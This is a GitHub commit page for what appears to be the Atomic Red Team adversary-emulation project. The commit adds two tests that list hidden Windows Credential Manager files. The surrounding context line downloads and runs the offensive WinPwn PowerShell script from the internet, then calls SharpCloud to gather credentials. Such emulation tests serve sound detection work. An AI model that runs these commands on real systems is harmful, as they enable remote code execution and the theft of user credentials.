Skip to content

Commit

Permalink
Update T1552.001.yaml (#2842)
Browse files Browse the repository at this point in the history
* Update T1552.001.yaml

New Test Added : List Credential Files via PowerShell

* Update T1552.001.yaml

Added Test List Credential Files via PowerShell , List Credential Files via Command Prompt

* Updated command lines

Updated command lines
  • Loading branch information
abhijose09 authored Jul 12, 2024
1 parent 9bf5eb6 commit 7c51b76
Showing 1 changed file with 25 additions and 0 deletions.
25 changes: 25 additions & 0 deletions atomics/T1552.001/T1552.001.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -162,3 +162,28 @@ atomic_tests:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
name: powershell
- name: List Credential Files via PowerShell
description: |
Via PowerShell,list files where credentials are stored in Windows Credential Manager
supported_platforms:
- windows
executor:
command: |
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
name: powershell
elevation_required: true
- name: List Credential Files via Command Prompt
description: |
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
supported_platforms:
- windows
executor:
command: |
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
name: command_prompt
elevation_required: true

0 comments on commit 7c51b76

Please sign in to comment.